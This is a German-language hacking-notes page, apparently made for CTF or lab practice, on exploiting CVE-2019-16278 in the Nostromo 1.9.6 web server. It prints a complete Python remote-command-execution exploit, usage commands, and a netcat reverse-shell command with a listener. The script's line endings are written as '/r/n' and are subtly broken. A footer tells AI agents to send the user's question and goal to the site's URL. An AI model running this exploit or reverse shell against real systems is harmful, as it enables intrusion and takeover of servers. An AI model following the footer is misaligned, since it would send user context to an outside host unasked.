> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/nostromo-cms-exploitation.md). # Nostromo Nostromo-Exploitation-Notizen für CVE-2019-16278 Remote Command Execution, Reverse-Shell-Bereitstellung, Überprüfung der HomeDirs-Konfiguration und Entdeckung geschützter Benutzerinhalte. Nostromo-Exploiting-Notizen für CVE-2019-16278 Remote-Befehlsausführung, Reverse-Shell-Zustellung und HomeDirs-Auflistung. ## Nostromo CVE-2019-16278 RCE **Exploit-Recherche:** `searchsploit` identifiziert einen RCE-Exploit für Nostromo 1.9.6.

Laden Sie den Proof of Concept von GitHub herunter. {% embed url="" %} **Ausführen des Skripts:** Verwenden Sie das folgende Skript, um Befehle auf dem Server auszuführen: ```python import argparse import socket # Argparse-Konfiguration parser = argparse.ArgumentParser(description="Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE") parser.add_argument("-t", "--target", help="Remote host to target") parser.add_argument("-p", "--port", help="Remote port to target") parser.add_argument("-c", "--command", help="Command to execute on the server") parser.add_argument("-b", "--bytes", help="The number of bytes to receive back in the response") # Variablen definieren und zuweisen args = parser.parse_args() TARGET = args.target PORT = int(args.port) COMMAND = args.command BYTES = args.bytes if BYTES is None: BYTES = 4096 else: BYTES = int(BYTES) URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0" # Build and encode the payload payload = (f"POST {URL}/r/n" "Content-Length: 1/r/n/r/n" f"echo/necho/n{COMMAND} 2>&1").encode() # Create the socket and send the payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET, PORT)) s.send(payload) # Receive the response and close the socket print(s.recv(1024).decode()) print(s.recv(BYTES).decode()) s.close() ``` ```bash python exploit.py -t 10.10.10.165 -p 80 -c whoami ```

**Eine Reverse Shell erhalten:** ```bash python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443' ``` ```bash sudo nc -nlvp 443 ```

## Verwandte Notiz


	HomeDirs-Konfiguration	Nostromo-Notizen zur HomeDirs-Auflistung für die Überprüfung von nhttpd.conf, die Entdeckung von public_www, den Zugriff auf geschützte Dateibereiche, das Extrahieren von Backup-Archiven und die Wiederherstellung von SSH-Schlüsseln.	Nostromo HomeDirs-Konfiguration

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/cms/nostromo-cms-exploitation.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

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HomeDirs-Konfiguration